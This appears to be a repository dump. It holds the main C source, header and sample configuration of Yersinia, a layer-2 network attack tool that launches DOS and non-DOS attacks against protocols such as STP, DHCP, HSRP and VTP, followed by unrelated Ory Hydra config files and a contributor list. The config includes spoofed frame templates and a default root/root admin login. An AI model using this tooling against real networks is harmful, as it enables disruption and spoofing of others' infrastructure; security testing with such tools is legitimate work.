/* yersinia.c * Command line client and application main entry point * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #ifdef HAVE_SYS_WAIT_H #include <sys/wait.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #ifdef HAVE_GTK #include <gtk/gtk.h> #endif #include <termios.h> #include <stdarg.h> #include "yersinia.h" /* * Use global *tty_tmp and term_parent */ int main( int argc, char **argv ) { struct cl_args *cl_args; struct term_node *tty_node = NULL; pid_t pid; pid_t parent_id; #if defined(HAVE_PTHREAD_SETCONCURRENCY) && !defined(LINUX) int concurrent; #endif handle_signals_parent(); tcgetattr(0, &term_parent); parent_id = getpid(); if ((pid = fork()) < 0) { exit(1); } else { if (pid != 0) { wait(NULL); tcsetattr(0, TCSANOW, &term_parent); exit(0); } } fatal_error = 4; /* Disable all signals while initializing data...*/ handle_signals(); setvbuf(stdout, NULL, _IONBF, 0); tty_tmp = (struct term_tty *)calloc(1,sizeof(struct term_tty)); if (tty_tmp == NULL) { printf("Out of memory on calloc tty_tmp\n"); clean_exit(); } tty_tmp->term = (struct termios *)calloc(1,sizeof(struct termios)); if (tty_tmp->term == NULL) { printf("Out of memory on calloc tty_tmp->term\n"); clean_exit(); } /* default values */ tty_tmp->interactive = 0; tty_tmp->gtk = 0; tty_tmp->attack = -1; tty_tmp->mac_spoofing = -1; tty_tmp->splash = -1; strncpy(tty_tmp->username, VTY_USER, MAX_USERNAME); strncpy(tty_tmp->password, VTY_PASS, MAX_PASSWORD); strncpy(tty_tmp->e_password, VTY_ENABLE, MAX_PASSWORD); tty_tmp->port = VTY_PORT; tty_tmp->ip_filter = NULL; #ifdef HAVE_GTK tty_tmp->buffer_log = NULL; #endif cl_args = (struct cl_args *)calloc(1,sizeof(struct cl_args)); if (cl_args == NULL) { printf("Out of memory on calloc cl_args\n"); clean_exit(); } if ( argc == 1 ) { printf("GNU %s %s\n", PACKAGE, VERSION); printf("Try '%s -h' to display the help.\n",PACKAGE); clean_exit(); } if (getuid() != 0) { printf("You must be root to run %s %s\n", PACKAGE, VERSION); clean_exit(); } if (term_init() < 0) g00dbye(); /* Register all the protocols */ protocol_init(); cl_args->proto_index = -1; if (parser_initial(tty_tmp, cl_args, argc, argv) < 0) { clean_exit(); } init_log(); #if defined(HAVE_PTHREAD_SETCONCURRENCY) && !defined(LINUX) /* concurrent = pthread_getconcurrency();*/ concurrent = 15;/*(MAX_TERMS*MAX_PROTOCOLS*MAX_THREAD_ATTACK*2)+3;*/ if (pthread_setconcurrency(concurrent) != 0) { thread_error("init pthread_setconcurrency()",errno); g00dbye(); } #endif if (interfaces_init(&terms->pcap_listen_th) < 0 ) g00dbye(); /* Establish TERM signal handler...*/ posix_signal(SIGTERM, final); #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) { if (admin_init(tty_tmp) < 0) g00dbye(); } #endif if ( thread_create( &terms->uptime_th, &th_uptime, (void *)NULL) ) g00dbye(); /* Command line and ncurses cannot be choosed simultaneously...*/ if ((!tty_tmp->interactive) && (!tty_tmp->gtk) && (cl_args->proto_index != -1)) { terms->work_state = INITIAL; tty_node = term_type[TERM_TTY].list; if ( thread_create( &tty_node[0].thread, &th_tty_peer, (void *)cl_args ) ) g00dbye(); while(terms->work_state != STOPPED) thread_usleep(100000); } #ifdef HAS_CURSES if (tty_tmp->interactive) { terms->work_state = INITIAL; if ( thread_create( &terms->gui_th, &ncurses_gui, NULL ) ) g00dbye(); /* Wait until the ncurses GUI is over */ while(terms->work_state != STOPPED) thread_usleep(100000); } else { #endif #ifdef HAVE_GTK if (tty_tmp->gtk) { terms->work_state = INITIAL; if ( thread_create( &terms->gui_gtk_th, &gtk_gui, NULL ) ) g00dbye(); /* Wait until the GTK GUI is over */ while(terms->work_state != STOPPED) thread_usleep(100000); } #endif #ifdef HAS_CURSES } #endif #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) { /* Ok, now that console (ncurses) is finished * we can become a true daemon... */ become_daemon(parent_id); /* Wait until some important thread exits due to fatal_error...*/ while (fatal_error == 4) thread_usleep(100000); } #endif g00dbye(); exit(1); } /* * Thread for handling command line attacks (TERM_TTY) * Use global variable struct term_tty *tty_tmp */ void *th_tty_peer( void *args ) { int fail; time_t this_time; struct cl_args *arguments = (struct cl_args *)args; struct term_tty *tty; struct term_node *term_node=NULL; sigset_t mask; terms->work_state = RUNNING; write_log(0, "\n th_tty_peer thread = %X...\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask,NULL)) { thread_error("th_tty_peer pthread_sigmask()",errno); th_tty_peer_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("th_tty_peer pthread_mutex_lock",errno); th_tty_peer_exit(NULL); } fail = term_add_node(&term_node, TERM_TTY, 0, pthread_self()); if (fail == -1) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit(term_node); } if (term_node == NULL) { write_log(1,"Ouch!! No more than %d %s accepted!!\n", term_type[TERM_TTY].max, term_type[TERM_TTY].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit( term_node ); } tty = term_node->specific; memcpy(tty,tty_tmp,sizeof(struct term_tty)); this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time,term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since) - 1); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a tty so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip) - 1); /* Parse config file */ if ( strlen( tty_tmp->config_file ) ) { if ( parser_read_config_file( tty_tmp, term_node ) < 0 ) { write_log(0, "Error reading configuration file\n"); th_tty_peer_exit(term_node); } } if (init_attribs(term_node) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); th_tty_peer_exit(term_node); } /* In command line mode we initialize the values by default */ if ( protocols[arguments->proto_index].init_attribs ) (*protocols[arguments->proto_index].init_attribs)( term_node ); else write_log(0, "Warning, proto %d has no init_attribs function!!\n", arguments->proto_index); /* Choose a parser */ fail = parser_cl_proto( term_node, arguments->count, arguments->argv_tmp, arguments->proto_index ); if ( pthread_mutex_unlock(&terms->mutex) != 0 ) thread_error("th_tty_peer pthread_mutex_unlock",errno ); if ( fail < 0 ) { write_log(0, "Error when parsing...\n"); th_tty_peer_exit(term_node); } write_log(0, "Entering command line mode...\n"); /* Execute attack... */ doloop( term_node, arguments->proto_index ); th_tty_peer_exit(term_node); return NULL; } /* * We arrived here due to normal termination * from thread tty peer main routine... * Release resources and delete acquired terminal... */ void th_tty_peer_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_tty_peer pthread_mutex_unlock",errno); } write_log(0,"\n th_tty_peer %d finished...\n",(int)pthread_self()); terms->work_state = STOPPED; pthread_exit(NULL); } /* * David, pon algo coherente!!! */ void doloop(struct term_node *node, int mode) { struct term_tty *term_tty; struct _attack_definition *attack_def = NULL; struct timeval timeout; fd_set read_set; int ret, fail; struct termios old_term, term; term_tty = node->specific; attack_def = protocols[ mode ].attack_def_list ; if ( term_tty->attack >= 0 ) { if ( attack_def[ term_tty->attack ].nparams ) { printf("\n<*> Ouch!! At the moment the command line interface doesn't support attacks <*>\n"); printf("<*> that needs parameters and the one you've choosed needs %d <*>\n", attack_def[ term_tty->attack ].nparams ); } else { printf("<*> Starting %s attack %s...\n", ( attack_def[ term_tty->attack ].type ) ? "DOS" : "NONDOS", attack_def[ term_tty->attack ].desc); if (attack_launch(node, mode, term_tty->attack, NULL, 0) < 0) write_log(1, "Error launching attack %d (mode %d)!!\n", term_tty->attack, mode); fflush(stdin); fflush(stdout); setvbuf(stdout, NULL, _IONBF, 0); tcgetattr(0,&old_term); tcgetattr(0,&term); term.c_cc[VMIN] = 1; term.c_cc[VTIME] = _POSIX_VDISABLE; term.c_lflag &= ~ICANON; term.c_lflag &= ~ECHO; tcsetattr(0,TCSANOW,&term); if ( attack_def[ term_tty->attack ].single == CONTINOUS ) { printf("<*> Press any key to stop the attack <*>\n"); fail = 0; while( !fail && !node->thread.stop ) { FD_ZERO(&read_set); FD_SET(0, &read_set); timeout.tv_sec = 0; timeout.tv_usec = 200000; if ( (ret=select(1, &read_set, NULL, NULL, &timeout) ) == -1 ) { thread_error("network_peer_th select()",errno); continue; } if ( !ret ) /* Timeout, decrement timers... */ continue; else { if (FD_ISSET(0, &read_set)) { getchar(); fail = 1; } } } } else /* Command line, only one attack (0), let's wait for its conclusion... */ while (node->protocol[mode].attacks[0].up) thread_usleep(150000); tcsetattr(0,TCSANOW, &old_term); } } /* if term_tty->attack */ } /* * Uptime thread... */ void * th_uptime(void *arg) { int ret,n; struct timeval timeout; sigset_t mask; write_log(0,"\n th_uptime thread = %X\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("th_uptime pthread_sigmask()",errno); th_uptime_exit(); } if (pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL)) { thread_error("th_uptime pthread_setcancelstate()",errno); th_uptime_exit(); } pthread_cleanup_push( &th_uptime_clean, (void *)NULL ); if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL)) { thread_error("th_uptime pthread_setcancelstate()",errno); th_uptime_exit(); } if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL)) { n=errno; pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL); thread_error("th_uptime pthread_setcanceltype()",n); th_uptime_exit(); } while(1) { timeout.tv_sec = 1; timeout.tv_usec = 0; if ( (ret=select( 0, NULL, NULL, NULL, &timeout ) ) == -1 ) { n=errno; thread_error("th_uptime select()",n); continue; } if ( !ret ) /* Timeout, update uptime... */ uptime++; } pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL); pthread_cleanup_pop(0); return (NULL); } /* * We arrived here due to normal termination * from thread uptime main routine... */ void th_uptime_exit(void) { terms->uptime_th.id = 0; pthread_exit(NULL); } /* * We arrived here due to cancellation request... */ void th_uptime_clean(void *data) { terms->uptime_th.id = 0; } /* * Child will become a daemon so we need to kill parent * who is waiting on a loop... */ void become_daemon(pid_t parent_id) { thread_usleep(800000); /* Just for giving time to parent... */ kill(parent_id,SIGUSR1); /* Kill parent... */ setsid(); /* i wanna be a "session leader"... */ chdir("/tmp"); /* If you wanna work... */ umask(022); /* Just in case... */ } /* * Write to stdout and logfile (mode=1), * to logfile only (mode=0) * to stdout only (mode=2) */ void write_log( u_int16_t mode, char *msg, ... ) { va_list ap; /* Variable argument list...*/ va_start(ap,msg); if (mode && !tty_tmp->daemonize) vfprintf(stdout, msg, ap); va_start(ap,msg); if ((!mode || (mode == 1)) && (tty_tmp->log_file)) vfprintf(tty_tmp->log_file, msg,ap); va_end(ap); #ifdef HAVE_GTK /* Send yersinia log to the main_log gtk widget */ if ((!mode || (mode == 1)) && ((tty_tmp->gtk) && (tty_tmp->buffer_log))) { GtkTextIter iter2; char *buffer = (char *)malloc( 2048 ); if ( buffer ) { va_start( ap,msg ); vsnprintf( buffer, 2048, msg, ap ); gtk_text_buffer_get_iter_at_offset( GTK_TEXT_BUFFER (tty_tmp->buffer_log), &iter2, 0 ); gtk_text_buffer_insert( GTK_TEXT_BUFFER(tty_tmp->buffer_log), &iter2, buffer, -1 ); va_end(ap); free( buffer ); } } #endif } /* * Exit from program printing the * system error. */ void go_out_error( int8_t *msg, int32_t errn ) { #ifdef HAVE_GLIBC_STRERROR_R /* At least on glibc >= 2.0 Can anybody confirm?... */ char buf[64]; write_log(1,"%s: %s -> %s\n", PACKAGE, msg, strerror_r(errn,buf,sizeof(buf))); #else #ifdef HAVE_STRERROR write_log(1,"%s: %s -> %s\n", PACKAGE, msg, strerror(errn) ); #else write_log(1,"%s: %s -> %s\n", PACKAGE, msg, sys_errlist[errn] ); #endif #endif g00dbye(); } /* * Exit from program printing * a custom error message. */ void go_out( char *msg, ... ) { va_list ap; /* Variable argument list...*/ if (msg) { va_start(ap,msg); vfprintf(stderr, msg, ap); } g00dbye(); } /* * Exit function when nothing has been initialized */ void clean_exit(void) { if (tty_tmp) { if (tty_tmp->term) free(tty_tmp->term); free(tty_tmp); } show_vty_motd(); fflush(stdout); exit(0); } /* * Last exit routine... * Use global *tty_tmp and terms[] */ void g00dbye(void) { write_log(0," g00dbye function called from %X\n",(int)pthread_self()); term_delete_all_tty(); #ifdef HAS_CURSES if (tty_tmp->interactive && (terms->gui_th.id != 0)) thread_destroy(&terms->gui_th); #endif #ifdef HAVE_GTK if (tty_tmp->gtk && (terms->gui_gtk_th.id != 0)) { thread_destroy(&terms->gui_gtk_th); } #endif #ifdef HAVE_REMOTE_ADMIN if (tty_tmp->daemonize) admin_exit(); #endif /* Kill Uptime thread... */ if (terms->uptime_th.id) thread_destroy_cancel(terms->uptime_th.id); if (tty_tmp && tty_tmp->term) free(tty_tmp->term); /* Destroy interfaces only if they are initialized!! */ if (terms) interfaces_destroy(&terms->pcap_listen_th); protocol_destroy(); if (terms) term_destroy(); if (!tty_tmp->daemonize) { write_log(0, " Showing MOTD..\n"); show_vty_motd(); } finish_log(); if (tty_tmp) free(tty_tmp); exit(0); } /* * Init the log file. */ void init_log(void) { char this_name[128]; time_t this_time; this_time = time(NULL); gethostname(this_name, sizeof(this_name)); write_log(0,"# %s v%s started in %s on %s", PACKAGE, VERSION, this_name, ctime(&this_time)); write_log(0,"\n"); } /* * Finish the log file. */ void finish_log(void) { time_t this_time; this_time = time(NULL); write_log(0,"# %s finished on %s\n",PACKAGE, ctime(&this_time)); fflush(tty_tmp->log_file); if (fclose(tty_tmp->log_file) < 0) thread_error("Error in fclose", errno); } /* * Initialize default values * on connection struct */ int8_t init_attribs(struct term_node *node) { int8_t i, result; result = 0; for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (protocols[i].init_attribs) result = result | (*protocols[i].init_attribs)(node); else write_log(0, "Warning: protocol %d has no init_attribs function!!\n", i); } return result; } /* * Let's handle signals */ void handle_signals( void ) { posix_signal(SIGIO, SIG_IGN); posix_signal(SIGURG, SIG_IGN); posix_signal(SIGTSTP, SIG_IGN); posix_signal(SIGQUIT, SIG_IGN); posix_signal(SIGPIPE, SIG_IGN); #if !defined(OPENBSD) && !defined(FREEBSD) && !defined(DARWIN) posix_signal(SIGPOLL, SIG_IGN); #endif posix_signal(SIGCHLD, SIG_IGN); posix_signal(SIGUSR1, SIG_IGN); posix_signal(SIGUSR2, SIG_IGN); posix_signal(SIGINT, SIG_IGN); posix_signal(SIGTERM, SIG_IGN); posix_signal(SIGHUP, SIG_IGN); posix_signal(SIGALRM, SIG_IGN); } /* * Handling signals on parent */ void handle_signals_parent( void ) { posix_signal( SIGIO, SIG_IGN ); posix_signal( SIGURG, SIG_IGN ); posix_signal( SIGTSTP, SIG_IGN ); posix_signal( SIGQUIT, SIG_IGN ); posix_signal( SIGPIPE, SIG_IGN ); #if !defined(OPENBSD) && !defined(FREEBSD) && !defined(DARWIN) posix_signal( SIGPOLL, SIG_IGN ); #endif posix_signal( SIGUSR1, final_parent ); posix_signal( SIGUSR2, SIG_IGN ); posix_signal( SIGINT, SIG_IGN ); posix_signal( SIGTERM, SIG_IGN ); posix_signal( SIGHUP, SIG_IGN ); } /* * POSIX functions for signals */ int posix_signal( int signo, void (*handler)() ) { struct sigaction act; act.sa_handler = handler; act.sa_flags = 0; sigemptyset( &act.sa_mask ); switch( signo ) { case SIGALRM: break; case SIGIO: case SIGHUP: case SIGUSR2: sigaddset( &act.sa_mask, SIGALRM ); default: act.sa_flags |= SA_RESTART; break; } if ( sigaction( signo, &act, NULL ) == -1 ) return -1; return 0; } /* * SIGINT/SIGTERM/SIGHUP handler */ void final( int signal ) { write_log(1,"\nTERM signal received from %d!\n", (int)pthread_self()); g00dbye(); } /* * Show the vty motd... * Return -1 if error. 0 if Ok. */ int8_t show_vty_motd() { int8_t j; j = term_motd(); if (j < 0) return -1; printf("%s", vty_motd[j]); return 0; } /* * SIGUSR1 parent handler */ void final_parent(int signal) { tcsetattr(0, TCSANOW, &term_parent); exit(0); }
yersinia/src/yersinia.conf
# # Yersinia configuration file example # # Please read the README and the man page before complaining # Global options <global> # MAC Spoofing mac_spoofing = 1 # Active interfaces #interfaces = eth0, eth1 # Hosts allowed to connect to the network daemon # Examples: www.microsoft.com 192.168.1.0/24 10.31-128.*.13 100.200.*.* 2-20.*.*.10-11 hosts = localhost # Propaganda. It's cool, so please, don't disable it!! :-P splash = 1 # Username for the admin mode username = root # Password for the admin mode password = root # Enable password for the admin mode enable = tomac # Daemon port port = 12000 </global> <protocol CDP> Source MAC = 06:45:8B:6B:41:56 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 TTL = 0xB4 Checksum = 0x0000 </protocol> <protocol DHCP> Source MAC = 02:48:33:66:02:51 Destination MAC = FF:FF:FF:FF:FF:FF SIP = 000.000.000.000 DIP = 255.255.255.255 SPort = 00068 DPort = 00067 Op = 0x01 Htype = 0x01 HLEN = 0x06 Hops = 0x00 Xid = 0x643C9869 Secs = 0x0000 Flags = 0x8000 CI = 000.000.000.000 YI = 000.000.000.000 SI = 000.000.000.000 GI = 000.000.000.000 CH = 02:48:33:66:02:51 </protocol> <protocol 802.1Q> Source MAC = 0E:5C:49:19:32:BF Destination MAC = FF:FF:FF:FF:FF:FF VLAN = 0001 Priority = 07 CFI = 0x00 L2Proto1 = 0x0800 VLAN2 = 0002 Priority = 07 CFI = 0x00 L2Proto2 = 0x0800 Src IP = 010.000.000.001 Dst IP = 255.255.255.255 IP Prot = 0x01 Payload = YERSINIA </protocol> <protocol 802.1X> Source MAC = 0C:58:55:62:B7:42 Destination MAC = 01:80:C2:00:00:03 Ver = 0x01 Type = 0x00 EAPCode = 0x02 EAPId = 0x00 EAPType = 0x01 EAPInfo = Andrea Amati </protocol> <protocol DTP> Source MAC = 0C:7C:E8:46:D5:95 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 Neighbor-ID = 0C7CE846D595 Status = 0x03 Type = 0xA5 Domain = </protocol> <protocol HSRP> Source MAC = 0A:1E:B7:41:C6:23 Destination MAC = 01:00:5E:00:00:02 SIP = 046.177.065.242 DIP = 224.000.000.002 SPort = 01985 DPort = 01985 Version = 0x00 Opcode = 0x00 State = 0x00 Hello = 0x03 Hold = 0x0A Priority = 0xFF Group = 00 Reserved = 0x00 Auth = cisco VIP = 080.126.215.171 </protocol> <protocol ISL> Source MAC = 06:E1:45:75:DB:51 Destination MAC = 01:00:0C:00:00:00 Type = 0x0 User = 0x0 Len = 0x0000 SNAP = 0xAAAA03 HSA = 0x000000 VLAN = 0xBE92 BPDU = 0x0 Index = 0x0000 Res = 0x0000 Src IP = 010.000.000.001 Dst IP = 255.255.255.255 Proto = 0x01 </protocol> <protocol MPLS> Source MAC = 04:08:20:12:A9:75 Destination MAC = FF:FF:FF:FF:FF:FF Label1 = 123 Exp1 = 000 Bottom1 = 1 TTL1 = 8 Label2 = 678 Exp2 = 000 Bottom2 = 0 TTL2 = 64 SrcIP = 10.1.2.3 SrcPort = 19 DstIP = 128.0.0.1 DstPort = 60 Payload = YERSINIA </protocol> <protocol STP> Source MAC = 0A:23:16:02:FF:08 Destination MAC = 01:80:C2:00:00:00 Id = 0x0000 Ver = 0x00 Type = 0x00 Flags = 0x00 RootId = 5080.760F0E14AC58 Pathcost = 0x00000000 BridgeId = CB09.E7CD90117CAA Port = 0x8002 Age = 0x0000 Max = 0x0014 Hello = 0x0002 Fwd = 0x000F </protocol> <protocol VTP> Source MAC = 02:C2:DC:7F:8E:F3 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 Code = 0x03 Domain = MD5 = 00000000000000000000000000000000 Updater = 010.013.058.001 Revision = 0000000001 Timestamp = Start value = 00001 Followers = 001 Sequence = 001 </protocol>
C/C++
yersinia/src/yersinia.h
/* yersinia.h * Definitions for application main entry point and command line client * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __YERSINIA_H__ #define __YERSINIA_H__ #ifdef HAS_CURSES #include "ncurses-gui.h" #endif #ifdef HAVE_GTK #include "gtk-gui.h" #endif #include "interfaces.h" #include "parser.h" #include "terminal-defs.h" #include "attack.h" #include "global.h" #ifdef MAX #undef MAX #endif #define MAX(x,y) ( ( x >= y) ? x : y ) struct term_tty *tty_tmp=NULL; struct termios term_parent; void become_daemon(pid_t); void doloop(struct term_node *, int); void sig_alarm( int ); void handle_signals( void ); void handle_signals_parent( void ); int posix_signal( int, void (*handler)(int) ); void final( int ); void final_parent( int ); void clean_exit(void); void g00dbye(void); int8_t init_attribs(struct term_node *); void go_out_error( int8_t *msg, int32_t ); void go_out( char *msg, ... ); void write_log( u_int16_t mode, char *msg, ... ); void init_log(void); void finish_log(void); void init_socket(void); void *th_tty_peer(void *); void th_tty_peer_exit(struct term_node *); void *th_uptime(void *); void th_uptime_clean(void *); void th_uptime_exit(void); int8_t show_vty_motd(void); /* Extern variables...*/ extern struct term_types term_type[]; extern char *vty_motd[]; /* Extern functions...*/ extern int8_t term_motd(void); extern int8_t term_init(void); extern void term_destroy(void); extern void term_delete_all_tty(void); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
YAML
hydra/.codeclimate.yml
engines: govet: enabled: true golint: enabled: false gofmt: enabled: true ratings: paths: - "**.go" exclude_paths: - vendor/ - sdk/
hydra/.dockerignore
.idea .vagrant docs node_modules .circleci .github scripts sdk/js sdk/php vendor dist .bin test/e2e test/mock-* cypress
hydra/.editorconfig
root = true [*] insert_final_newline = true charset = utf-8 trim_trailing_whitespace = true indent_style = space indent_size = 2 [{Makefile,go.mod,go.sum,*.go}] indent_style = tab indent_size = 4 [.schema/version.schema.json] indent_style = space indent_size = 4
hydra/.gitignore
.bin/ .idea/ .vscode/ node_modules/ *.iml *.exe .vagrant *.log *.stackdump .DS_Store .hydra.yml cover.out output/ _book/ dist/ coverage.* Dockerfile-plugin-* plugin-*.so hydra-docker-bin cookies.txt vendor/ LICENSE.txt ./hydra !./hydra/ hydra-login-consent-node ./cypress/screenshots *-packr.go packrd/ persistence/sql/migrations/schema.sql cypress/videos cypress/screenshots BENCHMARKS.md
YAML
hydra/.golangci.yml
linters: enable: - gosec - errcheck - gosimple - bodyclose - staticcheck - goimports disable: - ineffassign - deadcode - unused - structcheck run: skip-files: - ".+_test.go" - ".+_test_.+.go"
YAML
hydra/.goreleaser.yml
includes: - from_url: url: https://raw.githubusercontent.com/ory/xgoreleaser/master/build.tmpl.yml variables: brew_name: hydra brew_description: "The Ory OAuth2 and OpenID Connect Platform (Ory Hydra)" buildinfo_hash: "github.com/ory/hydra/v2/driver/config.Commit" buildinfo_tag: "github.com/ory/hydra/v2/driver/config.Version" buildinfo_date: "github.com/ory/hydra/v2/driver/config.Date" dockerfile_alpine: ".docker/Dockerfile-alpine" dockerfile_static: ".docker/Dockerfile-distroless-static" project_name: hydra
hydra/.nancy-ignore
# HashiCorp Consul issues - can be ignored because consul is not used. CVE-2020-7219 CVE-2018-19653 # End HashiCorp Consul # etcd issues - can be ignored because etcd is not used. CVE-2020-15114 CVE-2020-15136 CVE-2020-15115 # end
hydra/.npmignore
client/ cmd/ compose/ config/ docs/ firewall/ health/ integration/ jwk/ metrics/ oauth2/ pkg/ policy/ rand/ scripts/ vendor/ warden/ dist/ sdk/php/ sdk/go/ *.yml *.go *.md
hydra/AUTHORS
# This is the official list of Ory Hydra authors. # If you don't want to be on this list, please contact Ory. 115100 <[email protected]> abusaidm <[email protected]> Ackermann Yuriy <[email protected]> Adarsh R Jayan <[email protected]> Adrian Gąsior <[email protected]> Aeneas <[email protected]> Aeneas <[email protected]> Aeneas <[email protected]> aeneasr <[email protected]> aeneasr <[email protected]> aeneasr <[email protected]> aeneasr <[email protected]> Aeneas Rekkas <[email protected]> Aeneas Rekkas (arekkas) <[email protected]> Ajanthan <[email protected]> Akbar Uddin Kashif <[email protected]> Alano Terblanche <[email protected]> Alexander Widerberg <[email protected]> Alexander Widerberg <[email protected]> Allan Simon <[email protected]> Amaan Iqbal <[email protected]> Amir Aslaminejad <[email protected]> Amir Aslaminejad <[email protected]> Andreas Litt <[email protected]> André Filipe <[email protected]> Andrew Minkin <[email protected]> Anirudh Oppiliappan <[email protected]> Ankit Singh <[email protected]> Ante Mihalj <[email protected]> Anton Samoylenko <[email protected]> arapaho <[email protected]> arekkas <[email protected]> arekkas <[email protected]> Aritz Berasarte <[email protected]> Arkady Bagdasarov <[email protected]> Arne <[email protected]> Artem Yarmoliuk <[email protected]> Arthur Knoepflin <[email protected]> arunas-ka <[email protected]> aspeteRakete <[email protected]> Atallah khedrane <[email protected]> BastianHofmann <[email protected]> Benjamin Tanone <[email protected]> Ben Scholzen <[email protected]> Bernat Mut <[email protected]> Bernat Mut González <[email protected]> bfrisbie-brex <[email protected]> Bhargav SNV <[email protected]> Brandon Philips <[email protected]> Brian <[email protected]> Brian Teller <[email protected]> Bruno Bigras <[email protected]> Bruno Heridet <[email protected]> catper <[email protected]> cherrymu <[email protected]> Chris Mack <[email protected]> Christian Dreier <[email protected]> Christian Skovholm <[email protected]> clausdenk <[email protected]> Corey Burmeister <[email protected]> cui fliter <[email protected]> Dallan Quass <[email protected]> Damien Bravin <[email protected]> Daniel Eichinger <[email protected]> Daniel Jiménez <[email protected]> Daniel Schellhorn <[email protected]> Daniel Shuy <[email protected]> Daniel Sutton <[email protected]> darron froese <[email protected]> Dave Kushner <[email protected]> David <[email protected]> David Lobe <[email protected]> David López <[email protected]> David <[email protected]> David Wilkins <[email protected]> debrutal <[email protected]> DennisPattmann5012 <[email protected]> Dexter Chua <[email protected]> dharmendraImprowised <[email protected]> Dibyajyoti Behera <[email protected]> Dimitrij Drus <[email protected]> Dimitrij Drus <[email protected]> Divyansh Bansal <[email protected]> Dmitry <[email protected]> Dmitry Dolbik <[email protected]> ducksecops <[email protected]> Edward Wilde <[email protected]> emil <[email protected]> Eric Douglas <[email protected]> Euan Kemp <[email protected]> fazal <[email protected]> fazal <[email protected]> Felix Jung <[email protected]> Ferdynand Naczynski <[email protected]> Flavio Leggio <[email protected]> Flori <[email protected]> Frank Felhoffer <[email protected]> Furkan <[email protected]> Gajewski Dmitriy <[email protected]> Genchi <[email protected]> George Bolo <[email protected]> Gilbert Gilb's <[email protected]> Gorka Lerchundi Osa <[email protected]> Grant Zvolský <[email protected]> Grant Zvolsky <[email protected]> Grant Zvolský <[email protected]> Greg Woodcock <[email protected]> Grigory <[email protected]> hackerman <[email protected]> hackerman <[email protected]> Hanif Amal Robbani <[email protected]> Hans <[email protected]> Harsimran Singh Maan <[email protected]> Helmuth Bederna <[email protected]> Hendrik Heil <[email protected]> Henning Perl <[email protected]> hisamura333 <[email protected]> hperl <[email protected]> İbrahim Esen <[email protected]> Igor Zibarev <[email protected]> Imran Ismail <[email protected]> Iñigo <[email protected]> Iñigo <[email protected]> Jacek Symonowicz <[email protected]> 